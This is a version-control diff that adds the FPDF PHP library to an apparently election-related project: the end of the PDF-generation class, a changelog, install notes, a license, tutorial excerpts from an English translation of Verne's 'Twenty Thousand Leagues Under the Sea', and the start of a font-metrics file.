+			$this->_out('/BaseFont /'.$name);
+			$this->_out('/Subtype /Type1');
+			if($name!='Symbol' && $name!='ZapfDingbats')
+				$this->_out('/Encoding /WinAnsiEncoding');
+			$this->_out('>>');
+			$this->_out('endobj');
+		}
+		elseif($type=='Type1' || $type=='TrueType')
+		{
+			//Additional Type1 or TrueType font
+			$this->_newobj();
+			$this->_out('<</Type /Font');
+			$this->_out('/BaseFont /'.$name);
+			$this->_out('/Subtype /'.$type);
+			$this->_out('/FirstChar 32 /LastChar 255');
+			$this->_out('/Widths '.($this->n+1).' 0 R');
+			$this->_out('/FontDescriptor '.($this->n+2).' 0 R');
+			if($font['enc'])
+			{
+				if(isset($font['diff']))
+					$this->_out('/Encoding '.($nf+$font['diff']).' 0 R');
+				else
+					$this->_out('/Encoding /WinAnsiEncoding');
+			}
+			$this->_out('>>');
+			$this->_out('endobj');
+			//Widths
+			$this->_newobj();
+			$cw=&$font['cw'];
+			$s='[';
+			for($i=32;$i<=255;$i++)
+				$s.=$cw[chr($i)].' ';
+			$this->_out($s.']');
+			$this->_out('endobj');
+			//Descriptor
+			$this->_newobj();
+			$s='<</Type /FontDescriptor /FontName /'.$name;
+			foreach($font['desc'] as $k=>$v)
+				$s.=' /'.$k.' '.$v;
+			$file=$font['file'];
+			if($file)
+				$s.=' /FontFile'.($type=='Type1' ? '' : '2').' '.$this->FontFiles[$file]['n'].' 0 R';
+			$this->_out($s.'>>');
+			$this->_out('endobj');
+		}
+		else
+		{
+			//Allow for additional types
+			$mtd='_put'.strtolower($type);
+			if(!method_exists($this,$mtd))
+				$this->Error('Unsupported font type: '.$type);
+			$this->$mtd($font);
+		}
+	}
+}
+
+function _putimages()
+{
+	$filter=($this->compress) ? '/Filter /FlateDecode ' : '';
+	reset($this->images);
+	while(list($file,$info)=each($this->images))
+	{
+		$this->_newobj();
+		$this->images[$file]['n']=$this->n;
+		$this->_out('<</Type /XObject');
+		$this->_out('/Subtype /Image');
+		$this->_out('/Width '.$info['w']);
+		$this->_out('/Height '.$info['h']);
+		if($info['cs']=='Indexed')
+			$this->_out('/ColorSpace [/Indexed /DeviceRGB '.(strlen($info['pal'])/3-1).' '.($this->n+1).' 0 R]');
+		else
+		{
+			$this->_out('/ColorSpace /'.$info['cs']);
+			if($info['cs']=='DeviceCMYK')
+				$this->_out('/Decode [1 0 1 0 1 0 1 0]');
+		}
+		$this->_out('/BitsPerComponent '.$info['bpc']);
+		if(isset($info['f']))
+			$this->_out('/Filter /'.$info['f']);
+		if(isset($info['parms']))
+			$this->_out($info['parms']);
+		if(isset($info['trns']) && is_array($info['trns']))
+		{
+			$trns='';
+			for($i=0;$i<count($info['trns']);$i++)
+				$trns.=$info['trns'][$i].' '.$info['trns'][$i].' ';
+			$this->_out('/Mask ['.$trns.']');
+		}
+		$this->_out('/Length '.strlen($info['data']).'>>');
+		$this->_putstream($info['data']);
+		unset($this->images[$file]['data']);
+		$this->_out('endobj');
+		//Palette
+		if($info['cs']=='Indexed')
+		{
+			$this->_newobj();
+			$pal=($this->compress) ? gzcompress($info['pal']) : $info['pal'];
+			$this->_out('<<'.$filter.'/Length '.strlen($pal).'>>');
+			$this->_putstream($pal);
+			$this->_out('endobj');
+		}
+	}
+}
+
+function _putxobjectdict()
+{
+	foreach($this->images as $image)
+		$this->_out('/I'.$image['i'].' '.$image['n'].' 0 R');
+}
+
+function _putresourcedict()
+{
+	$this->_out('/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]');
+	$this->_out('/Font <<');
+	foreach($this->fonts as $font)
+		$this->_out('/F'.$font['i'].' '.$font['n'].' 0 R');
+	$this->_out('>>');
+	$this->_out('/XObject <<');
+	$this->_putxobjectdict();
+	$this->_out('>>');
+}
+
+function _putresources()
+{
+	$this->_putfonts();
+	$this->_putimages();
+	//Resource dictionary
+	$this->offsets[2]=strlen($this->buffer);
+	$this->_out('2 0 obj');
+	$this->_out('<<');
+	$this->_putresourcedict();
+	$this->_out('>>');
+	$this->_out('endobj');
+}
+
+function _putinfo()
+{
+	$this->_out('/Producer '.$this->_textstring('FPDF '.FPDF_VERSION));
+	if(!empty($this->title))
+		$this->_out('/Title '.$this->_textstring($this->title));
+	if(!empty($this->subject))
+		$this->_out('/Subject '.$this->_textstring($this->subject));
+	if(!empty($this->author))
+		$this->_out('/Author '.$this->_textstring($this->author));
+	if(!empty($this->keywords))
+		$this->_out('/Keywords '.$this->_textstring($this->keywords));
+	if(!empty($this->creator))
+		$this->_out('/Creator '.$this->_textstring($this->creator));
+	$this->_out('/CreationDate '.$this->_textstring('D:'.@date('YmdHis')));
+}
+
+function _putcatalog()
+{
+	$this->_out('/Type /Catalog');
+	$this->_out('/Pages 1 0 R');
+	if($this->ZoomMode=='fullpage')
+		$this->_out('/OpenAction [3 0 R /Fit]');
+	elseif($this->ZoomMode=='fullwidth')
+		$this->_out('/OpenAction [3 0 R /FitH null]');
+	elseif($this->ZoomMode=='real')
+		$this->_out('/OpenAction [3 0 R /XYZ null null 1]');
+	elseif(!is_string($this->ZoomMode))
+		$this->_out('/OpenAction [3 0 R /XYZ null null '.($this->ZoomMode/100).']');
+	if($this->LayoutMode=='single')
+		$this->_out('/PageLayout /SinglePage');
+	elseif($this->LayoutMode=='continuous')
+		$this->_out('/PageLayout /OneColumn');
+	elseif($this->LayoutMode=='two')
+		$this->_out('/PageLayout /TwoColumnLeft');
+}
+
+function _putheader()
+{
+	$this->_out('%PDF-'.$this->PDFVersion);
+}
+
+function _puttrailer()
+{
+	$this->_out('/Size '.($this->n+1));
+	$this->_out('/Root '.$this->n.' 0 R');
+	$this->_out('/Info '.($this->n-1).' 0 R');
+}
+
+function _enddoc()
+{
+	$this->_putheader();
+	$this->_putpages();
+	$this->_putresources();
+	//Info
+	$this->_newobj();
+	$this->_out('<<');
+	$this->_putinfo();
+	$this->_out('>>');
+	$this->_out('endobj');
+	//Catalog
+	$this->_newobj();
+	$this->_out('<<');
+	$this->_putcatalog();
+	$this->_out('>>');
+	$this->_out('endobj');
+	//Cross-ref
+	$o=strlen($this->buffer);
+	$this->_out('xref');
+	$this->_out('0 '.($this->n+1));
+	$this->_out('0000000000 65535 f ');
+	for($i=1;$i<=$this->n;$i++)
+		$this->_out(sprintf('%010d 00000 n ',$this->offsets[$i]));
+	//Trailer
+	$this->_out('trailer');
+	$this->_out('<<');
+	$this->_puttrailer();
+	$this->_out('>>');
+	$this->_out('startxref');
+	$this->_out($o);
+	$this->_out('%%EOF');
+	$this->state=3;
+}
+//End of class
+}
+
+//Handle special IE contype request
+if(isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT']=='contype')
+{
+	header('Content-Type: application/pdf');
+	exit;
+}
+
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/histo.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/histo.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/histo.htm	(revision 44)
@@ -0,0 +1,128 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>History</title>
+<link type="text/css" rel="stylesheet" href="fpdf.css">
+<style type="text/css">
+dd {margin-top:1em; margin-bottom:1em}
+</style>
+</head>
+<body>
+<h1>History</h1>
+<dl>
+<dt><strong>v1.6</strong> (2008-06-08)</dt>
+<dd>
+- GIF image support.<br>
+- Images can now trigger page breaks.<br>
+- Possibility to have different page formats in a single document.<br>
+- Document properties (author, creator, keywords, subject and title) can now be specified in UTF-8.<br>
+- Fixed a bug: when a PNG was inserted through a URL, an error sometimes occurred.<br>
+- An automatic page break in Header() doesn't cause an infinite loop any more.<br>
+- Removed some warning messages appearing with recent PHP versions.<br>
+- Added HTTP headers to reduce problems with IE.<br>
+</dd>
+<dt><strong>v1.53</strong> (2004-12-31)</dt>
+<dd>
+- When the font subdirectory is in the same directory as fpdf.php, it is no longer necessary to define the FPDF_FONTPATH constant.<br>
+- The array $HTTP_SERVER_VARS is no longer used. It could cause trouble on PHP5-based configurations with the register_long_arrays option disabled.<br>
+- Fixed a problem related to Type1 font embedding which caused trouble to some PDF processors.<br>
+- The file name sent to the browser could not contain a space character.<br>
+- The Cell() method could not print the number 0 (you had to pass the string '0').<br>
+</dd>
+<dt><strong>v1.52</strong> (2003-12-30)</dt>
+<dd>
+- Image() now displays the image at 72 dpi if no dimension is given.<br>
+- Output() takes a string as second parameter to indicate destination.<br>
+- Open() is now called automatically by AddPage().<br>
+- Inserting remote JPEG images doesn't generate an error any longer.<br>
+- Decimal separator is forced to dot in the constructor.<br>
+- Added several encodings (Turkish, Thai, Hebrew, Ukrainian and Vietnamese).<br>
+- The last line of a right-aligned MultiCell() was not correctly aligned if it was terminated by a carriage return.<br>
+- No more error message about already sent headers when outputting the PDF to the standard output from the command line.<br>
+- The underlining was going too far for text containing characters \, ( or ).<br>
+- $HTTP_ENV_VARS has been replaced by $HTTP_SERVER_VARS.<br>
+</dd>
+<dt><strong>v1.51</strong> (2002-08-03)</dt>
+<dd>
+- Type1 font support.<br>
+- Added Baltic encoding.<br>
+- The class now works internally in points with the origin at the bottom in order to avoid two bugs occurring with Acrobat 5 :<br>&nbsp;&nbsp;* The line thickness was too large when printed under Windows 98 SE and ME.<br>&nbsp;&nbsp;* TrueType fonts didn't appear immediately inside the plug-in (a substitution font was used), one had to cause a window refresh to make them show up.<br>
+- It is no longer necessary to set the decimal separator as dot to produce valid documents.<br>
+- The clickable area in a cell was always on the left independently from the text alignment.<br>
+- JPEG images in CMYK mode appeared in inverted colors.<br>
+- Transparent PNG images in grayscale or true color mode were incorrectly handled.<br>
+- Adding new fonts now works correctly even with the magic_quotes_runtime option set to on.<br>
+</dd>
+<dt><strong>v1.5</strong> (2002-05-28)</dt>
+<dd>
+- TrueType font (AddFont()) and encoding support (Western and Eastern Europe, Cyrillic and Greek).<br>
+- Added Write() method.<br>
+- Added underlined style.<br>
+- Internal and external link support (AddLink(), SetLink(), Link()).<br>
+- Added right margin management and methods SetRightMargin(), SetTopMargin().<br>
+- Modification of SetDisplayMode() to select page layout.<br>
+- The border parameter of MultiCell() now lets choose borders to draw as Cell().<br>
+- When a document contains no page, Close() now calls AddPage() instead of causing a fatal error.<br>
+</dd>
+<dt><strong>v1.41</strong> (2002-03-13)</dt>
+<dd>
+- Fixed SetDisplayMode() which no longer worked (the PDF viewer used its default display).<br>
+</dd>
+<dt><strong>v1.4</strong> (2002-03-02)</dt>
+<dd>
+- PHP3 is no longer supported.<br>
+- Page compression (SetCompression()).<br>
+- Choice of page format and possibility to change orientation inside document.<br>
+- Added AcceptPageBreak() method.<br>
+- Ability to print the total number of pages (AliasNbPages()).<br>
+- Choice of cell borders to draw.<br>
+- New mode for Cell(): the current position can now move under the cell.<br>
+- Ability to include an image by specifying height only (width is calculated automatically).<br>
+- Fixed a bug: when a justified line triggered a page break, the footer inherited the corresponding word spacing.<br>
+</dd>
+<dt><strong>v1.31</strong> (2002-01-12)</dt>
+<dd>
+- Fixed a bug in drawing frame with MultiCell(): the last line always started from the left margin.<br>
+- Removed Expires HTTP header (gives trouble in some situations).<br>
+- Added Content-disposition HTTP header (seems to help in some situations).<br>
+</dd>
+<dt><strong>v1.3</strong> (2001-12-03)</dt>
+<dd>
+- Line break and text justification support (MultiCell()).<br>
+- Color support (SetDrawColor(), SetFillColor(), SetTextColor()). Possibility to draw filled rectangles and paint cell background.<br>
+- A cell whose width is declared null extends up to the right margin of the page.<br>
+- Line width is now retained from page to page and defaults to 0.2 mm.<br>
+- Added SetXY() method.<br>
+- Fixed a passing by reference done in a deprecated manner for PHP4.<br>
+</dd>
+<dt><strong>v1.2</strong> (2001-11-11)</dt>
+<dd>
+- Added font metric files and GetStringWidth() method.<br>
+- Centering and right-aligning text in cells.<br>
+- Display mode control (SetDisplayMode()).<br>
+- Added methods to set document properties (SetAuthor(), SetCreator(), SetKeywords(), SetSubject(), SetTitle()).<br>
+- Possibility to force PDF download by browser.<br>
+- Added SetX() and GetX() methods.<br>
+- During automatic page break, current abscissa is now retained.<br>
+</dd>
+<dt><strong>v1.11</strong> (2001-10-20)</dt>
+<dd>
+- PNG support doesn't require PHP4/zlib any more. Data are now put directly into PDF without any decompression/recompression stage.<br>
+- Image insertion now works correctly even with magic_quotes_runtime option set to on.<br>
+</dd>
+<dt><strong>v1.1</strong> (2001-10-07)</dt>
+<dd>
+- JPEG and PNG image support.<br>
+</dd>
+<dt><strong>v1.01</strong> (2001-10-03)</dt>
+<dd>
+- Fixed a bug involving page break: in case when Header() doesn't specify a font, the one from previous page was not restored and produced an incorrect document.<br>
+</dd>
+<dt><strong>v1.0</strong> (2001-09-17)</dt>
+<dd>
+- First version.<br>
+</dd>
+</dl>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/install.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/install.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/install.txt	(revision 44)
@@ -0,0 +1,26 @@
+The FPDF library is made up of the following elements:
+
+- the main file, fpdf.php, which contains the class
+- the font metric files (located in the font directory of this archive)
+
+The metric files are necessary as soon as you want to output some text in a document.
+They can be accessed from three different locations:
+
+- the directory defined by the FPDF_FONTPATH constant (if this constant is defined)
+- the font directory located in the directory containing fpdf.php (as it is the case in this archive)
+- the directories accessible through include()
+
+Here is an example defining FPDF_FONTPATH (note the mandatory final slash):
+
+define('FPDF_FONTPATH','/home/www/font/');
+require('fpdf.php');
+
+If the files are not accessible, the SetFont() method will produce the following error:
+
+FPDF error: Could not include font metric file
+
+
+Remarks:
+
+- Only the files corresponding to the fonts actually used are necessary
+- The tutorials provided in this package are ready to be executed
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/license.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/license.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/license.txt	(revision 44)
@@ -0,0 +1,6 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software to use, copy, modify, distribute, sublicense, and/or sell
+copies of the software, and to permit persons to whom the software is furnished
+to do so.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED.
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/20k_c1.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/20k_c1.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/20k_c1.txt	(revision 44)
@@ -0,0 +1,10 @@
+The year 1866 was marked by a bizarre development, an unexplained and downright inexplicable phenomenon that surely no one has forgotten. Without getting into those rumors that upset civilians in the seaports and deranged the public mind even far inland, it must be said that professional seamen were especially alarmed. Traders, shipowners, captains of vessels, skippers, and master mariners from Europe and America, naval officers from every country, and at their heels the various national governments on these two continents, were all extremely disturbed by the business.
+In essence, over a period of time several ships had encountered "an enormous thing" at sea, a long spindle-shaped object, sometimes giving off a phosphorescent glow, infinitely bigger and faster than any whale.
+The relevant data on this apparition, as recorded in various logbooks, agreed pretty closely as to the structure of the object or creature in question, its unprecedented speed of movement, its startling locomotive power, and the unique vitality with which it seemed to be gifted.  If it was a cetacean, it exceeded in bulk any whale previously classified by science.  No naturalist, neither Cuvier nor Lacépède, neither Professor Dumeril nor Professor de Quatrefages, would have accepted the existence of such a monster sight unseen -- specifically, unseen by their own scientific eyes.
+Striking an average of observations taken at different times -- rejecting those timid estimates that gave the object a length of 200 feet, and ignoring those exaggerated views that saw it as a mile wide and three long--you could still assert that this phenomenal creature greatly exceeded the dimensions of anything then known to ichthyologists, if it existed at all.
+Now then, it did exist, this was an undeniable fact; and since the human mind dotes on objects of wonder, you can understand the worldwide excitement caused by this unearthly apparition. As for relegating it to the realm of fiction, that charge had to be dropped.
+In essence, on July 20, 1866, the steamer Governor Higginson, from the Calcutta & Burnach Steam Navigation Co., encountered this moving mass five miles off the eastern shores of Australia. Captain Baker at first thought he was in the presence of an unknown reef; he was even about to fix its exact position when two waterspouts shot out of this inexplicable object and sprang hissing into the air some 150 feet.  So, unless this reef was subject to the intermittent eruptions of a geyser, the Governor Higginson had fair and honest dealings with some aquatic mammal, until then unknown, that could spurt from its blowholes waterspouts mixed with air and steam.
+Similar events were likewise observed in Pacific seas, on July 23 of the same year, by the Christopher Columbus from the West India & Pacific Steam Navigation Co.  Consequently, this extraordinary cetacean could transfer itself from one locality to another with startling swiftness, since within an interval of just three days, the Governor Higginson and the Christopher Columbus had observed it at two positions on the charts separated by a distance of more than 700 nautical leagues.
+Fifteen days later and 2,000 leagues farther, the Helvetia from the Compagnie Nationale and the Shannon from the Royal Mail line, running on opposite tacks in that part of the Atlantic lying between the United States and Europe, respectively signaled each other that the monster had been sighted in latitude 42 degrees 15' north and longitude 60 degrees 35' west of the meridian of Greenwich.  From their simultaneous observations, they were able to estimate the mammal's minimum length at more than 350 English feet; this was because both the Shannon and the Helvetia were of smaller dimensions, although each measured 100 meters stem to stern. Now then, the biggest whales, those rorqual whales that frequent the waterways of the Aleutian Islands, have never exceeded a length of 56 meters--if they reach even that.
+One after another, reports arrived that would profoundly affect public opinion:  new observations taken by the transatlantic liner Pereire, the Inman line's Etna running afoul of the monster, an official report drawn up by officers on the French frigate Normandy, dead-earnest reckonings obtained by the general staff of Commodore Fitz-James aboard the Lord Clyde. In lighthearted countries, people joked about this phenomenon, but such serious, practical countries as England, America, and Germany were deeply concerned.
+In every big city the monster was the latest rage; they sang about it in the coffee houses, they ridiculed it in the newspapers, they dramatized it in the theaters.  The tabloids found it a fine opportunity for hatching all sorts of hoaxes. In those newspapers short of copy, you saw the reappearance of every gigantic imaginary creature, from "Moby Dick," that dreadful white whale from the High Arctic regions, to the stupendous kraken whose tentacles could entwine a 500-ton craft and drag it into the ocean depths. They even reprinted reports from ancient times: the views of Aristotle and Pliny accepting the existence of such monsters, then the Norwegian stories of Bishop Pontoppidan, the narratives of Paul Egede, and finally the reports of Captain Harrington -- whose good faith is above suspicion--in which he claims he saw, while aboard the Castilian in 1857, one of those enormous serpents that, until then, had frequented only the seas of France's old extremist newspaper, The Constitutionalist.
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/20k_c2.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/20k_c2.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/20k_c2.txt	(revision 44)
@@ -0,0 +1,23 @@
+During the period in which these developments were occurring, I had returned from a scientific undertaking organized to explore the Nebraska badlands in the United States. In my capacity as Assistant Professor at the Paris Museum of Natural History, I had been attached to this expedition by the French government. After spending six months in Nebraska, I arrived in New York laden with valuable collections near the end of March. My departure for France was set for early May. In the meantime, then, I was busy classifying my mineralogical, botanical, and zoological treasures when that incident took place with the Scotia.
+I was perfectly abreast of this question, which was the big news of the day, and how could I not have been? I had read and reread every American and European newspaper without being any farther along. This mystery puzzled me. Finding it impossible to form any views, I drifted from one extreme to the other. Something was out there, that much was certain, and any doubting Thomas was invited to place his finger on the Scotia's wound.
+When I arrived in New York, the question was at the boiling point. The hypothesis of a drifting islet or an elusive reef, put forward by people not quite in their right minds, was completely eliminated. And indeed, unless this reef had an engine in its belly, how could it move about with such prodigious speed?
+Also discredited was the idea of a floating hull or some other enormous wreckage, and again because of this speed of movement.
+So only two possible solutions to the question were left, creating two very distinct groups of supporters: on one side, those favoring a monster of colossal strength; on the other, those favoring an "underwater boat" of tremendous motor power.
+Now then, although the latter hypothesis was completely admissible, it couldn't stand up to inquiries conducted in both the New World and the Old. That a private individual had such a mechanism at his disposal was less than probable. Where and when had he built it, and how could he have built it in secret?
+Only some government could own such an engine of destruction, and in these disaster-filled times, when men tax their ingenuity to build increasingly powerful aggressive weapons, it was possible that, unknown to the rest of the world, some nation could have been testing such a fearsome machine. The Chassepot rifle led to the torpedo, and the torpedo has led to this underwater battering ram, which in turn will lead to the world putting its foot down. At least I hope it will.
+But this hypothesis of a war machine collapsed in the face of formal denials from the various governments. Since the public interest was at stake and transoceanic travel was suffering, the sincerity of these governments could not be doubted. Besides, how could the assembly of this underwater boat have escaped public notice? Keeping a secret under such circumstances would be difficult enough for an individual, and certainly impossible for a nation whose every move is under constant surveillance by rival powers.
+So, after inquiries conducted in England, France, Russia, Prussia, Spain, Italy, America, and even Turkey, the hypothesis of an underwater Monitor was ultimately rejected.
+After I arrived in New York, several people did me the honor of consulting me on the phenomenon in question. In France I had published a two-volume work, in quarto, entitled The Mysteries of the Great Ocean Depths. Well received in scholarly circles, this book had established me as a specialist in this pretty obscure field of natural history. My views were in demand. As long as I could deny the reality of the business, I confined myself to a flat "no comment." But soon, pinned to the wall, I had to explain myself straight out. And in this vein, "the honorable Pierre Aronnax, Professor at the Paris Museum," was summoned by The New York Herald to formulate his views no matter what.
+I complied. Since I could no longer hold my tongue, I let it wag. I discussed the question in its every aspect, both political and scientific, and this is an excerpt from the well-padded article I published in the issue of April 30.
+
+"Therefore," I wrote, "after examining these different hypotheses one by one, we are forced, every other supposition having been refuted, to accept the existence of an extremely powerful marine animal.
+"The deepest parts of the ocean are totally unknown to us. No soundings have been able to reach them. What goes on in those distant depths? What creatures inhabit, or could inhabit, those regions twelve or fifteen miles beneath the surface of the water? What is the constitution of these animals? It's almost beyond conjecture.
+"However, the solution to this problem submitted to me can take the form of a choice between two alternatives.
+"Either we know every variety of creature populating our planet, or we do not.
+"If we do not know every one of them, if nature still keeps ichthyological secrets from us, nothing is more admissible than to accept the existence of fish or cetaceans of new species or even new genera, animals with a basically 'cast-iron' constitution that inhabit strata beyond the reach of our soundings, and which some development or other, an urge or a whim if you prefer, can bring to the upper level of the ocean for long intervals.
+"If, on the other hand, we do know every living species, we must look for the animal in question among those marine creatures already cataloged, and in this event I would be inclined to accept the existence of a giant narwhale.
+"The common narwhale, or sea unicorn, often reaches a length of sixty feet. Increase its dimensions fivefold or even tenfold, then give this cetacean a strength in proportion to its size while enlarging its offensive weapons, and you have the animal we're looking for. It would have the proportions determined by the officers of the Shannon, the instrument needed to perforate the Scotia, and the power to pierce a steamer's hull.
+"In essence, the narwhale is armed with a sort of ivory sword, or lance, as certain naturalists have expressed it. It's a king-sized tooth as hard as steel. Some of these teeth have been found buried in the bodies of baleen whales, which the narwhale attacks with invariable success. Others have been wrenched, not without difficulty, from the undersides of vessels that narwhales have pierced clean through, as a gimlet pierces a wine barrel. The museum at the Faculty of Medicine in Paris owns one of these tusks with a length of 2.25 meters and a width at its base of forty-eight centimeters!
+"All right then! Imagine this weapon to be ten times stronger and the animal ten times more powerful, launch it at a speed of twenty miles per hour, multiply its mass times its velocity, and you get just the collision we need to cause the specified catastrophe.
+"So, until information becomes more abundant, I plump for a sea unicorn of colossal dimensions, no longer armed with a mere lance but with an actual spur, like ironclad frigates or those warships called 'rams,' whose mass and motor power it would possess simultaneously.
+"This inexplicable phenomenon is thus explained away--unless it's something else entirely, which, despite everything that has been sighted, studied, explored and experienced, is still possible!"
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/calligra.afm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/calligra.afm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/calligra.afm	(revision 44)
@@ -0,0 +1,275 @@
+StartFontMetrics 4.1
+FontName Calligrapher-Regular
+FullName Calligrapher Regular
+Notice Generated by Fontographer 3.5
+EncodingScheme FontSpecific
+FamilyName Calligrapher
+Weight Regular
+Version (Altsys Fontographer 3.5  5/26/92)
+Characters 215
+ItalicAngle 0.0
+Ascender 899
+Descender -234
+UnderlineThickness 20
+UnderlinePosition -200
+IsFixedPitch false
+FontBBox -50 -234 1328 899
+StartCharMetrics 256
+C 0 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 1 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 2 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 3 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 4 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 5 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 6 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 7 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 8 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 9 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 10 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 11 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 12 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 13 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 14 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 15 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 16 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 17 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 18 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 19 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 20 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 21 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 22 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 23 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 24 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 25 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 26 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 27 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 28 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 29 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 30 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 31 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 32 ; WX 282 ; N space ; B 67 -16 251 718 ;
+C 33 ; WX 324 ; N exclam ; B 67 -16 251 718 ;
+C 34 ; WX 405 ; N quotedbl ; B 60 460 353 718 ;
+C 35 ; WX 584 ; N numbersign ; B 35 0 549 701 ;
+C 36 ; WX 632 ; N dollar ; B 32 -126 595 814 ;
+C 37 ; WX 980 ; N percent ; B 35 -16 945 703 ;
+C 38 ; WX 776 ; N ampersand ; B 41 -17 811 670 ;
+C 39 ; WX 259 ; N quotesingle ; B 72 460 206 718 ;
+C 40 ; WX 299 ; N parenleft ; B 57 -119 299 785 ;
+C 41 ; WX 299 ; N parenright ; B 0 -119 242 785 ;
+C 42 ; WX 377 ; N asterisk ; B 35 407 342 714 ;
+C 43 ; WX 600 ; N plus ; B 47 0 553 506 ;
+C 44 ; WX 259 ; N comma ; B 35 -67 224 162 ;
+C 45 ; WX 432 ; N hyphen ; B 28 249 404 377 ;
+C 46 ; WX 254 ; N period ; B 43 -16 227 162 ;
+C 47 ; WX 597 ; N slash ; B 7 -14 591 714 ;
+C 48 ; WX 529 ; N zero ; B 21 -18 508 583 ;
+C 49 ; WX 298 ; N one ; B 8 -15 233 582 ;
+C 50 ; WX 451 ; N two ; B 17 -8 430 588 ;
+C 51 ; WX 359 ; N three ; B 11 -54 337 582 ;
+C 52 ; WX 525 ; N four ; B 18 -20 519 602 ;
+C 53 ; WX 423 ; N five ; B 10 -55 420 582 ;
+C 54 ; WX 464 ; N six ; B 23 -14 447 589 ;
+C 55 ; WX 417 ; N seven ; B 8 -18 415 589 ;
+C 56 ; WX 457 ; N eight ; B 19 -16 432 583 ;
+C 57 ; WX 479 ; N nine ; B 26 -16 450 588 ;
+C 58 ; WX 275 ; N colon ; B 59 -16 242 491 ;
+C 59 ; WX 282 ; N semicolon ; B 54 -67 245 491 ;
+C 60 ; WX 600 ; N less ; B 47 -8 553 514 ;
+C 61 ; WX 600 ; N equal ; B 47 98 553 408 ;
+C 62 ; WX 600 ; N greater ; B 47 -8 553 514 ;
+C 63 ; WX 501 ; N question ; B 21 -16 473 721 ;
+C 64 ; WX 800 ; N at ; B 29 -12 771 730 ;
+C 65 ; WX 743 ; N A ; B -23 -14 754 723 ;
+C 66 ; WX 636 ; N B ; B -42 -7 608 706 ;
+C 67 ; WX 598 ; N C ; B 27 -12 572 712 ;
+C 68 ; WX 712 ; N D ; B -42 -11 684 705 ;
+C 69 ; WX 608 ; N E ; B -21 0 608 708 ;
+C 70 ; WX 562 ; N F ; B -21 -18 584 716 ;
+C 71 ; WX 680 ; N G ; B 29 -8 668 714 ;
+C 72 ; WX 756 ; N H ; B 70 -17 777 728 ;
+C 73 ; WX 308 ; N I ; B 14 -15 238 718 ;
+C 74 ; WX 314 ; N J ; B 7 -223 244 727 ;
+C 75 ; WX 676 ; N K ; B 14 -16 683 725 ;
+C 76 ; WX 552 ; N L ; B 14 -8 580 713 ;
+C 77 ; WX 1041 ; N M ; B 42 -17 1017 739 ;
+C 78 ; WX 817 ; N N ; B -42 -17 747 736 ;
+C 79 ; WX 729 ; N O ; B 32 -16 698 709 ;
+C 80 ; WX 569 ; N P ; B -35 -15 570 716 ;
+C 81 ; WX 698 ; N Q ; B 27 -201 1328 715 ;
+C 82 ; WX 674 ; N R ; B -35 -20 696 712 ;
+C 83 ; WX 618 ; N S ; B 31 -16 589 709 ;
+C 84 ; WX 673 ; N T ; B -21 -20 702 714 ;
+C 85 ; WX 805 ; N U ; B 0 -19 804 722 ;
